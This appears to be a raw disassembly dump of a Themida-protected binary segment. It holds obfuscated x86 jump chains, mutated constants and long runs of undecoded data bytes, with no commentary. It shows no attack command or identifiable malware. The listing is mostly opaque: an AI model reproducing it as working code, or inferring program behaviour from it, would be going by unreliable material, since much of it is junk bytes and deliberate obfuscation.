		xor	ecx, ebp
		pop	ebp
		and	eax, ecx
		jmp	loc_552ED1
; ---------------------------------------------------------------------------
		db 56h,	0FFh, 74h
		dd 0E95E0424h, 7D58h, 0B50E959h, 97B60000h, 859CE30h, 0A3E95AF7h
		dd 890000A4h, 4C381E3h,	68000000h, 14B5h, 0BE243489h, 4
		dd 56E9F301h, 550000A7h, 67BEBF57h, 0FD895684h,	4D06E95Fh
		dd 14890000h, 55E28924h, 0FAEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5515C9:				; CODE XREF: Themida_:00551F70j
		add	esp, 4
		jmp	loc_556937
; ---------------------------------------------------------------------------


loc_5515D1:				; CODE XREF: Themida_:0055BD28j
		sub	[esp], ebx
		pop	ebx
		shr	ebx, 7
		xor	ebx, 71951682h
		add	ebx, 0FFFFFFFFh
		push	ebp
		mov	ebp, 4F0F479Ah
		xor	ebx, ebp
		pop	ebp
		sub	ecx, ebx
		jmp	loc_54FFA1
; ---------------------------------------------------------------------------
		db 0E9h, 0BDh, 0E1h
		dd 0ED81FFFFh, 391282Ch, 15DEF89h, 29EE9FEh, 0EB810000h
		dd 4, 5C241C87h, 0E9240489h, 26B0h, 0BD242C89h,	0BFD0968h
		dd 3E77C181h, 0E9813115h, 636E5977h, 0C181E929h, 636E5977h
		dd 3E77E981h, 0EBE93115h, 8900000Ah, 0A2682434h, 5E69513Fh
		dd 0BA52D6F7h, 55283074h, 1043E281h, 0BB532CE4h, 20771F1Eh
		dd 1361EB81h, 0E3D133AFh, 3408E381h, 0E3815E32h, 2F1F1FFBh
		dd 84B9E9h
		db 0
; ---------------------------------------------------------------------------


loc_551675:				; CODE XREF: Themida_:005585FEj
		push	edx
		jmp	loc_552CEC
; ---------------------------------------------------------------------------
		db 5Dh
		dd 295EF289h, 5A042454h, 6B240481h, 0E90B985Dh,	0A8D8h
; ---------------------------------------------------------------------------


loc_551690:				; CODE XREF: Themida_:0055A0F5j
		sub	[esp+8], edx
		pop	edx
		jmp	loc_551F75
; ---------------------------------------------------------------------------
		dw 8950h
		dd 405E0h, 4050000h, 87000000h,	248B2404h, 4C18124h, 81000000h
		dd 2E9h, 240C3300h, 0E9240C31h,	3C15h
; ---------------------------------------------------------------------------


loc_5516C4:				; CODE XREF: Themida_:0055939Dj
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, eax
		jmp	loc_55641D
; ---------------------------------------------------------------------------
		dd 2EAC142h, 6877C281h,	0EA812ABEh, 1E954B16h, 525AE9h
		dd 4C18100h, 0E9000000h, 5834h,	8130428Fh, 54953072h, 0E95D1347h
		dd 0FFFFF7F2h, 8103E6C1h, 0B43D03EEh, 3EEC1DAh,	5104E6C1h
		dd 6A55F4B9h, 9C30E905h
		db 2 dup(0)
word_55171E	dw 8B66h		; DATA XREF: Themida_:0054F5C4o
		dd 41682404h, 8900007Eh, 0E168240Ch, 89000054h,	4832424h
		dd 56590424h, 0A46F5CBEh, 43BF575Dh, 0E978913Eh, 4E20h
		dd 8B66FE88h, 0C483241Ch, 0A4C68002h, 7E5CE9h, 0E9E58900h
		dd 9219h, 2434875Bh, 0E049E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55176A:				; CODE XREF: Themida_:00559860j
		mov	al, 0EFh
		add	ch, al
		pop	ax
		add	ch, 20h
		sub	bl, ch
		pop	ecx
		add	bl, 0C2h
		add	bl, al
		sub	bl, 0C2h
		add	bl, 0CFh
		movzx	eax, al
		jmp	loc_55090B
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 77696800h, 3C890000h, 4EC8124h, 0E9000000h, 0FFFFF045h
		dd 255C685Bh, 2C890000h, 122C6824h, 1C890000h, 16AC6824h
		dd 815B47E1h, 9B3E27F3h, 53F38174h, 5255825Eh, 0D589DA89h
		dd 391EE95Ah, 0E6890000h, 4BB53h, 0DE010000h, 86E1E9h
		dd 67C38000h, 0D828552Ch, 1C8B5504h, 1BD5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5517F2:				; CODE XREF: Themida_:0055BE2Fj
		mov	esi, 0B07781A8h
		jmp	loc_55C07E
; ---------------------------------------------------------------------------


loc_5517FC:				; CODE XREF: Themida_:00555B79j
		push	edx
		mov	edx, 666A612Ah
		dec	edx
		push	ebx
		mov	ebx, 30511C6Dh
		not	ebx
		or	ebx, 5A7C4734h
		jmp	loc_556CFC
; ---------------------------------------------------------------------------
		dw 2868h
		dd 8900007Eh, 4B82404h,	1000000h, 8B042444h, 55E92404h
		dd 0FE00005Dh, 97C580CDh, 13E9E800h, 0F7FFFFE1h, 1C23E9D5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551842:				; CODE XREF: Themida_:0054FFBAj
		mov	[esp], ebx
		mov	ebx, eax
		mov	edx, ebx
		pop	ebx
		mov	eax, [esp]
		push	esi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		jmp	loc_558999
; ---------------------------------------------------------------------------
		db 0BFh, 25h, 0
aIrs?1		db 'ëré?1',0
		dw 8800h
		dd 0E562E9E5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551876:				; CODE XREF: Themida_:00552631j
		add	edx, ebx
		push	eax
		mov	eax, 2B177EE4h
		push	ebx
		mov	ebx, 0
		jmp	loc_5598DB
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 1DC9E9h
		db 0
; ---------------------------------------------------------------------------


loc_551891:				; CODE XREF: Themida_:00556ED7j
		add	esp, 4
		push	6
		mov	[esp], ecx
		jmp	loc_54F823
; ---------------------------------------------------------------------------
a_sL		db '_é:l',0
		align 2


loc_5518AA:				; CODE XREF: Themida_:0054F990j
		or	ebp, edx
		jmp	loc_550948
; ---------------------------------------------------------------------------
		db 0C1h, 0E2h, 2
		dd 0B1EA814Ah, 941708Dh, 0D6F75AD6h, 4B3FEE81h,	0F7299020h
		dd 1AD4E9h, 24048B00h, 535E5456h, 0B8BF5752h, 0E9513367h
		dd 0FFFFF68Ah, 0B6241489h, 52DEF637h, 12444FEh,	0E00E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5518F2:				; CODE XREF: Themida_:005564D4j
		push	7BD4h
		mov	[esp], ebp
		jmp	loc_54F8FF
; ---------------------------------------------------------------------------
byte_5518FF	db 0FFh			; DATA XREF: Themida_:0054F52Co
		dd 669D1C77h, 2414D259h, 3334E99Ch, 0EB010000h,	81C3295Dh
		dd 823A02EBh, 0AC38108h, 8F47D03Ch, 0DE8DE900h,	34FFFFFFh
		dd 2434FF24h, 0E789575Ah, 4C781h, 0E9500000h, 42E3h, 65E9E389h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551943:				; CODE XREF: Themida_:005570A1j
		mov	esi, 77DC46A0h
		sub	esi, ecx
		pop	ecx
		mov	ebp, 19380938h
		jmp	loc_559887
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 4
		dd 29000000h, 0FC1EE9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551962:				; CODE XREF: Themida_:005596E1j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_553CAB
; ---------------------------------------------------------------------------


loc_551970:				; CODE XREF: Themida_:00551AD3j
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		jmp	loc_55617D
; ---------------------------------------------------------------------------


loc_55197E:				; CODE XREF: Themida_:00554025j
		xor	ecx, edx
		pop	edx
		sub	ecx, 6A1D685Dh
		and	ecx, 1A056E20h
		shr	ecx, 8
		jmp	loc_559616
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 89h
		dd 50662414h, 41EEE99Ch, 0C3810000h, 4CA44F9Eh,	3B8DC381h
		dd 0F3816078h, 0EC51F8A8h, 595BDD01h, 7190BE56h, 32E93D3Ah
		dd 0C1000074h, 0C38103E3h, 22F5B258h, 815BDA21h, 1EAh
		dd 93ABE900h, 0E9500000h, 9F26h, 4C381h, 0E9E90000h, 1000001h
		dd 0ED2DE9CFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5519F2:				; CODE XREF: Themida_:0055A305j
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		jmp	loc_552010
; ---------------------------------------------------------------------------
		dw 1487h
		dd 8E95C24h
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551A07:				; CODE XREF: Themida_:0055B140j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	edx
		mov	edx, 57F5A63h
		dec	edx
		and	edx, 6EE25A18h
		sub	edx, 0CB8B2578h
		mov	eax, edx
		pop	edx
		push	edi
		mov	edi, 1E3D4E96h
		xor	eax, edi
		pop	edi
		push	eax
		jmp	loc_552C09
; ---------------------------------------------------------------------------


loc_551A39:				; CODE XREF: Themida_:00559AD9j
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		push	6DDBh
		mov	[esp], esi
		mov	esi, esp
		push	eax
		jmp	loc_553F7D
; ---------------------------------------------------------------------------
		db 81h
		dd 0CD0676EDh, 6EC781B1h, 1355548h, 6EBE56EFh, 29355548h
		dd 0EAB3E9F7h
		db 2 dup(0FFh)
aRslw		db 'Rélw',0             ; DATA XREF: Themida_:0054F524o
		align 4
		dd 2904C483h, 0C335DE9h, 240C3124h, 8B240C33h, 89662424h
		dd 0F66240Ch, 5166C8B6h, 72FBE99Ch, 0F7290000h,	243C875Eh
		dd 7692E95Ch, 0D0310000h, 0D731FA31h, 0D7F7FA31h, 0D031FA87h
		dd 0D031C231h, 0F031C631h, 0FFE401E9h, 0E9FD21FFh, 8FCDh
		dd 0E7EBE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551ACA:				; CODE XREF: Themida_:00557C63j
		or	eax, eax
		jz	loc_559C30
		push	ebx
		jmp	loc_551970
; ---------------------------------------------------------------------------


loc_551AD8:				; CODE XREF: Themida_:0055B4A5j
		shr	ebp, 2
		xor	ebp, 1AC1D76h
		sub	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 665D5E6Fh
		dec	ecx
		jmp	loc_551E83
; ---------------------------------------------------------------------------


loc_551AF6:				; CODE XREF: Themida_:00555014j
		pop	esi
		mov	edx, eax
		pop	eax
		pop	ebp
		jmp	loc_559933
; ---------------------------------------------------------------------------
		dd 2199B850h, 0C1897EC7h, 0D0F79158h, 7E9C191h,	0C104E1C1h
		dd 0E98105E9h, 8138DAh,	8962E9h, 81595900h, 2C5h, 78E5E900h
		dd 462D0000h, 155DB76h,	764605F8h, 222D55DBh, 8B45747Bh
		dd 0C481243Ch, 4, 8904EC83h, 0BA522434h, 94B03F2h, 0E95AD689h
		dd 9B5Bh
dword_551B5C	dd 57240C8Bh, 7468E789h, 89000067h, 14E9242Ch
					; DATA XREF: Themida_:0054F6ACo
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551B6F:				; CODE XREF: Themida_:00557CD3j
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		add	esi, 78F54C11h
		pop	ebp
		and	ecx, esi
		pop	esi
		shr	ecx, 0Ah
		push	esi
		push	775Bh
		mov	[esp], ebp
		jmp	loc_5520F0
; ---------------------------------------------------------------------------


loc_551B96:				; CODE XREF: Themida_:00551E85j
		push	2A41h
		mov	[esp], ebp
		push	ebx
		mov	ebx, 324A503Ah
		jmp	loc_559872
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 68000000h, 0
		dd 8B243C29h, 0C481243Ch, 4, 81E68956h,	4C6h, 4EE8300h
		dd 0E9243487h, 202Ah, 2BA52h, 0D3290000h, 6A0D685Ah, 7EE90000h
		dd 66000070h, 0FFC68859h, 83582434h, 0E68004C4h, 8EEC0B4h
		dd 8016C680h, 0B05001EEh, 2C730486h, 7CAFE935h,	0B4B60000h
		dd 8058C630h, 0CEE9A8F6h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551C17:				; CODE XREF: Themida_:00558B97j
		push	5D4Ah
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_559096
; ---------------------------------------------------------------------------
		dd 24048F58h, 240C895Ch, 0FFE2E4E9h, 535A54FFh,	4BBh, 9D07E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551C46:				; CODE XREF: Themida_:005538B2j
		push	ecx
		push	551638CBh
		pop	ecx
		sub	ecx, 6E1D4553h
		xor	ecx, 46A40802h
		mov	edx, ecx
		pop	ecx
		add	edx, 45921117h
		sub	edx, 45BE2E37h
		add	edx, ebp
		add	edx, 45BE2E37h
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		mov	ebp, 45A3143Dh
		push	699E0031h
		jmp	loc_55BB7B
; ---------------------------------------------------------------------------
		dw 0F921h
a_bUwUYbUz_Biuz	db '_ÁUW#u)ËYÃîz¶.)Ãëîz¶.ÃUX;yé%Y',0
		dw 5200h
aIfc1iZKMsu	db 'ºIfç1‰ÐZ%k~¿Méã{',0
		db 2 dup(0), 0C8h
		dd 83240C8Bh, 0A60404C4h, 0FFEFE0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551CCD:				; CODE XREF: Themida_:00555BD0j
		sub	dword ptr [esp+8], 7BA64F1Dh
		pop	ebx
		add	dword ptr [esp+4], 5F4B0AE9h
		add	[esp+4], edi
		sub	dword ptr [esp+4], 5F4B0AE9h
		sub	dword ptr [esp+4], 24633F65h
		push	edx
		mov	edx, 265B724Bh
		sub	[esp+8], edx
		jmp	loc_557683
; ---------------------------------------------------------------------------
		db 0F7h, 0DFh, 0C1h
		dd 0F75707E7h, 0F75F2414h, 0BEE950D7h
		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551D13:				; CODE XREF: Themida_:00554E64j
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_551DAF
; ---------------------------------------------------------------------------
		dd 24148B66h, 35CFE957h, 3C8B0000h, 4C48124h, 51000000h
		dd 6CA4E9h, 4EC8100h, 0E9000000h, 67CFh, 28ADC380h, 0ADEB80E3h
		dd 24048B66h, 3745E9h, 24148B00h, 8104C483h, 6F7E17F2h
		dd 8BD08965h, 0C4832414h, 1AFC0504h, 0F748505Dh, 0DCBB53D0h
		dd 291774ACh, 0C1295BD8h, 0CCE98158h, 0E927CC79h, 2ECCh
; ---------------------------------------------------------------------------


loc_551D8C:				; CODE XREF: Themida_:0055B7D5j
		sub	ecx, 0BD17F87h
		sub	ecx, edi
		add	ecx, 0BD17F87h
		pop	edi
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_54F7B3
; ---------------------------------------------------------------------------


loc_551DAF:				; CODE XREF: Themida_:00551D1Fj
		add	esp, 4
		add	esp, 4
		add	esp, 4
		jmp	loc_557002
; ---------------------------------------------------------------------------


loc_551DC0:				; CODE XREF: Themida_:00558FC0j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55B185
; ---------------------------------------------------------------------------


loc_551DCB:				; CODE XREF: Themida_:0055B583j
		add	eax, edx
		mov	ecx, [eax]
		jmp	loc_55A2FA
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 0DDE904C4h, 5AFFFFE4h, 0E904EC83h, 693h
		dd 0E9D7F658h, 3AC9h
; ---------------------------------------------------------------------------


loc_551DF0:				; CODE XREF: Themida_:00558238j
		xchg	eax, [esp]
		jmp	loc_552C97
; ---------------------------------------------------------------------------
		dd 4EC81h, 0AAE90000h, 55FFFFE4h, 68575D54h, 54541537h
		dd 6A8FE95Fh, 0C6810000h, 4, 4C681h, 34870000h,	24248B24h
		dd 7300E9h, 0E9E38900h,	1DEDh
; ---------------------------------------------------------------------------


loc_551E30:				; CODE XREF: Themida_:00559D48j
		pop	esp
		neg	edi
		add	edi, 51955E85h
		jmp	loc_550D2E
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 0E2BA5257h, 0BF7FF160h, 0E48DA947h, 555AD729h, 91D4E9h
		dd 0B5515200h, 4E5C084h, 8904EC83h, 5266241Ch, 0D3884BB2h
		dd 0FFE684E9h
		db 0FFh
aN1Us		db '­1ØUéœ|',0          ; DATA XREF: Themida_:0054F668o
		align 2


loc_551E7A:				; CODE XREF: Themida_:0055028Fj
		push	ebx
		mov	ebx, esp
		push	ebp
		jmp	loc_55034A
; ---------------------------------------------------------------------------


loc_551E83:				; CODE XREF: Themida_:00551AF1j
		shl	ecx, 1
		jmp	loc_551B96
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 76F43470h, 6D4AE9h, 49D9F700h, 6B50E981h, 0BB533B8Fh
		dd 6A1871C1h, 149EE9h
		db 0
; ---------------------------------------------------------------------------


loc_551EA9:				; CODE XREF: Themida_:00552CA5j
		xor	dl, bh
		pop	bx
		shr	dl, 3
		xchg	ah, dl
		neg	ah
		push	ebx
		mov	bl, ah
		mov	ah, dl
		mov	dl, bl
		pop	ebx
		push	eax
		mov	al, 9Dh
		inc	al
		or	al, 0C6h
		shl	al, 2
		xor	al, 2Eh
		add	dl, al
		mov	eax, [esp]
		add	esp, 4
		mov	ch, dl
		pop	edx
		sub	ch, al
		pop	eax
		sub	al, 0D3h
		add	al, ch
		add	al, 0D3h
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 0CBh
		shr	ch, 6
		add	ch, 0FFh
		xor	ch, ah
		xor	ah, ch
		xor	ch, ah
		push	ebx
		mov	bl, 0F8h
		jmp	loc_55BE83
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 6
		dd 6800005Fh, 4A653AB5h, 8124048Bh, 4C4h, 4E0C100h, 0FFDE9DE9h
		dd 2434FFFFh, 4C4815Fh,	0E9000000h, 672Dh, 5351C328h, 7068F3B7h
		dd 0E9000014h, 41B3h, 4C481h, 73050000h, 40212F59h, 27E6205h
		dd 58C6897Ah, 0F031C631h, 2A7DE9h
		db 0
; ---------------------------------------------------------------------------


loc_551F51:				; CODE XREF: Themida_:005534DAj
		pop	ebp
		jmp	loc_556EDC
; ---------------------------------------------------------------------------
		db 66h
		dd 8B66E831h, 8468242Ch, 0E9000013h, 0FFFFF656h
; ---------------------------------------------------------------------------


loc_551F68:				; CODE XREF: Themida_:00551556j
		push	4
		mov	ebx, [esp]
		jmp	loc_5515C9
; ---------------------------------------------------------------------------


loc_551F75:				; CODE XREF: Themida_:00551695j
		push	ebx
		mov	ebx, 33440566h
		jmp	loc_5507B6
; ---------------------------------------------------------------------------
		dd 2804C483h, 0E9122CD8h, 2751h, 58C5015Bh, 71CEE9h, 6FC78100h
		dd 312DEFF0h, 0CB015FF9h, 81240C8Bh, 4C4h, 2C38300h, 4FFDE9h
		dd 24348B00h, 8A33E9h, 0E3EA8000h, 5105E2C0h, 9EF3E952h
		dd 0C890000h, 0D7E5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551FCE:				; CODE XREF: Themida_:005584B3j
		mov	esi, esp
		jmp	loc_55122D
; ---------------------------------------------------------------------------
off_551FD5	dd offset dword_58C468	; DATA XREF: Themida_:0054F4E4o
		align 2
		dw 0C89h
aS7x		db '$é7X',0
		align 2


loc_551FE2:				; CODE XREF: Themida_:00550631j
		mov	ebp, 2B177EE4h
		xor	[esp+4], ebp
		pop	ebp
		pop	dword ptr [edi+20h]
		jmp	loc_552613
; ---------------------------------------------------------------------------
		dd 3505E829h, 0E944087Dh, 9A7Dh, 0C381FB01h, 4ADC7F54h
		dd 0E92434FFh, 42CEh
; ---------------------------------------------------------------------------


loc_552010:				; CODE XREF: Themida_:005519F9j
		mov	ebx, 4A3745EAh
		mov	edx, ebx
		pop	ebx
		sub	edx, 4A37456Ah
		and	ecx, edx
		mov	edx, [esp]
		push	6A29h
		mov	[esp], edx
		mov	edx, esp
		push	esi
		jmp	loc_54F7E5
; ---------------------------------------------------------------------------
a1V412@sm	db '1Ù[V¾412@ém=',0
		dd 4C48100h, 81000000h,	4C7h, 72E95500h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552053:				; CODE XREF: Themida_:00559040j
		inc	esi
		sub	esi, 51DF3FF6h
		add	ebx, esi
		pop	esi
		add	ebx, 2
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_55AE40
; ---------------------------------------------------------------------------
		dw 215Ah
		dd 2434FFC8h, 5F545759h, 4C781h, 53550000h, 9A6C8068h
		dd 5036E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55208A:				; CODE XREF: Themida_:00550384j
		push	edx
		jmp	loc_5508A5
; ---------------------------------------------------------------------------
dword_552090	dd 240C8B66h, 4EC81h, 34890000h, 4EC8324h, 81242489h, 42404h
					; DATA XREF: Themida_:0054F6ECo
		dd 348B0000h, 4C48324h,	2CBE5650h, 0F76A047Dh, 78EE81DEh
		dd 4E4BEF46h, 2C97C681h, 6FE9F319h, 83000040h, 48F04C4h
		dd 7C43E924h, 4870000h,	4895C24h, 4EC8124h, 0E9000000h
		dd 4294h
dword_5520E8	dd 0E924248Bh, 0FFFFD6C3h ; DATA XREF: Themida_:0054F604o
; ---------------------------------------------------------------------------


loc_5520F0:				; CODE XREF: Themida_:00551B91j
		mov	ebp, ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_554D30
; ---------------------------------------------------------------------------
		db 59h
		dd 2C2835Bh, 31241433h,	0E8E92414h
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552113:				; CODE XREF: Themida_:00559B07j
		pop	ebx
		sub	ebx, 71792295h
		mov	ebp, [esp]
		add	esp, 4
		xor	ecx, ebx
		jmp	loc_54FAE6
; ---------------------------------------------------------------------------
aS7		db ']éµ7',0
		align 10h
		dd 0FFD67EE9h, 0F18149FFh, 0BF6C0AA5h, 8159CD31h, 0FD696AEDh
		dd 5DEB3156h, 5F20E9h
		db 0
; ---------------------------------------------------------------------------


loc_55214D:				; CODE XREF: Themida_:0055BDFEj
		mov	[esp], eax
		mov	eax, esp
		push	edx
		jmp	loc_554081
; ---------------------------------------------------------------------------
		dd 0E9241489h, 0FFFFE754h
; ---------------------------------------------------------------------------


loc_552160:				; CODE XREF: Themida_:00557B10j
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	edx
		push	eax
		push	7D655E74h
		pop	eax
		jmp	loc_54FFB2
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 52000000h, 1C3594BAh, 81E2D13Fh, 297024C2h, 8C15E908h
		dd 815E0000h, 9C705FE3h, 3729E97Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55219A:				; CODE XREF: Themida_:0055B62Bj
		sub	ebp, 36FD7C47h
		add	ebp, ecx
		add	ebp, 36FD7C47h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	edi
		mov	edi, 2
		sub	ebp, 3055474Bh
		add	ebp, edi
		push	eax
		mov	eax, 241D0520h
		push	ebp
		mov	ebp, 71604CE9h
		and	eax, ebp
		pop	ebp
		jmp	loc_54FCA7
; ---------------------------------------------------------------------------
aSig		db '^鉃',0
		align 2
word_5521DA	dw 8B66h		; DATA XREF: Themida_:0054F6C4o
		dd 0E956240Ch, 95C7h, 119EE81h,	0F2017A00h, 4C2815Eh, 87000000h
		dd 0AE92414h
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5521FB:				; CODE XREF: Themida_:0055A5A6j
		pop	edx
		shl	edx, 8
		xor	edx, 6B4AF001h
		push	edx
		jmp	loc_55B78D
; ---------------------------------------------------------------------------
aHI		db '[hÓI',0
		dd 2448E900h, 2C310000h, 242C3324h, 2404895Ch, 6A72E9h
		dd 68E68100h, 0F74ED03Fh, 9EF681D6h, 0E94DCD21h, 0FFFFF4CCh
		dd 0EC815658h, 4, 56242C89h, 3CDAE9h, 0BF575600h, 610504B9h
		dd 0DFF7D7F7h, 81EE781h, 0E7813C11h, 45700A99h,	1AF0C781h
		dd 0F7816CE1h, 6CE11B0Ch, 0E95FFE89h, 905h, 33240C31h
		dd 0EE9240Ch, 52FFFFEEh, 0DF9149BAh, 5AD0315Fh,	8B58C301h
		dd 0A0E9240Ch, 0FFFFFFDDh, 0E9042474h, 86EFh, 68243C89h
		dd 7981h, 83242489h, 5F042404h,	4C781h,	0C7830000h, 243C3302h
		dd 33243C31h, 50E9243Ch
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5522C3:				; CODE XREF: Themida_:0055B901j
		mov	[esp], esi
		push	ebp
		push	ebx
		mov	ebx, 44182538h
		mov	ebp, ebx
		pop	ebx
		add	ebp, 1
		jmp	loc_55B771
; ---------------------------------------------------------------------------
		db 56h
		dd 9802E9h
		db 0
byte_5522E1	db 66h,	8Bh, 4		; DATA XREF: Themida_:0054F54Co
aS_5		db '$é²[',0
		align 2


loc_5522EA:				; CODE XREF: Themida_:0055840Bj
		xchg	edi, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	1388h
		mov	[esp], ebp
		push	ecx
		mov	ecx, 1CB7402Ah
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0E348BFD7h
		add	ecx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, 541556F0h
		jmp	loc_554D83
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 4E6A0109h, 8106E5C1h, 85DF4CDh, 2CE95171h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552337:				; CODE XREF: Themida_:005592EBj
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55B510
; ---------------------------------------------------------------------------
		dw 0CB2Dh
		dd 518806Bh, 4E9307EDh,	8E6CE9h
		db 0
; ---------------------------------------------------------------------------


loc_552351:				; CODE XREF: Themida_:00552A86j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5581A1
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 0Bh
		dd 89FFFFD7h, 31AFE9CEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55236E:				; CODE XREF: Themida_:005506ACj
		mov	[esp], edx
		push	ebx
		jmp	loc_551342
; ---------------------------------------------------------------------------


loc_552377:				; CODE XREF: Themida_:0055BEFCj
		push	ebx
		mov	ebx, esp
		push	edi
		jmp	loc_5592E3
; ---------------------------------------------------------------------------
		dd 4EF81h, 3C330000h, 243C3124h, 66BCE9h, 241C8900h, 736FE9h
		dd 24248900h, 4240481h,	5E000000h, 0FFF09AE9h, 338E68FFh
		dd 4890000h, 0E9E08924h, 0FD1h,	15E9D929h, 5DFFFFDEh, 8704EB83h
		dd 248B241Ch, 0FECEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5523CE:				; CODE XREF: Themida_:0055468Aj
		mov	esi, 4
		add	ecx, esi
		pop	esi
		push	esi
		mov	esi, 77A044E4h
		shl	esi, 4
		inc	esi
		and	esi, 59B954CFh
		sub	esi, 5800443Dh
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		mov	esp, [esp]
		shr	eax, 0Ch
		xor	eax, ecx
		sub	esp, 4
		jmp	loc_5574F8
; ---------------------------------------------------------------------------


loc_552405:				; CODE XREF: Themida_:00551472j
		mov	[esp], eax
		push	edi
		jmp	loc_55AF4D
; ---------------------------------------------------------------------------


loc_55240E:				; CODE XREF: Themida_:00554D1Ej
		and	edx, 24BC0B1Fh
		xor	edx, 6AD06A94h
		jmp	loc_554F01
; ---------------------------------------------------------------------------
byte_55241F	db 0FFh			; DATA XREF: Themida_:0054F4E0o
		dd 589D1C77h, 9C240419h, 0FFD386E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55242D:				; CODE XREF: Themida_:005504A5j
		add	esp, 4
		jmp	loc_554FFA
; ---------------------------------------------------------------------------
		dd 81242C29h, 2D202404h, 815D1307h, 4ECh, 242C8900h, 5D2414F7h
		dd 36DDBB53h, 0C3812000h, 31797D26h, 0DDF7EB87h, 0C381EB87h
		dd 1738C3DDh, 0A6E9DD29h
		db 8Ah,	2 dup(0)
aNqUS_		db '­Q¹\UÝ',0Bh,'é_<',0 ; DATA XREF: Themida_:0054F59Co
		dw 8900h
		dd 0F4E9240Ch
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552483:				; CODE XREF: Themida_:0055A9E7j
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_54F88E
; ---------------------------------------------------------------------------
aFxsac		db 'fXéí—',0
		db 0
aNsP		db '­é',7,'p',0         ; DATA XREF: Themida_:0054F51Co
		dd 4C18100h, 53000000h,	0B70E9h
		db 0
; ---------------------------------------------------------------------------


loc_5524AD:				; CODE XREF: Themida_:00557F86j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_557180
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 7881C281h, 0D001577Eh, 4055Ah, 37E90000h, 900008Ah
		dd 34FF1C5Fh, 241C8B24h, 4C481h, 0C4830000h, 501DE904h
		dd 5B660000h, 7045966h,	0F6E9D800h, 0BD000042h,	15E2F08Eh
		dd 2C8BEF29h, 4C48324h,	815FF989h, 9C0A97C1h, 86C18124h
		dd 9163A92h, 2434FFCDh,	0E2895259h, 46850h, 1580000h, 5E8EE9C2h
		dd 74FF0000h, 8F590424h, 248B2404h, 0C8B6624h, 5D6B6824h
		dd 4890000h, 51585424h,	3D6EBB53h, 814377A8h, 0C81720E3h
		dd 73EB812Ah, 89F6C6B8h, 241C8BD9h, 5335E9h, 9BB95100h
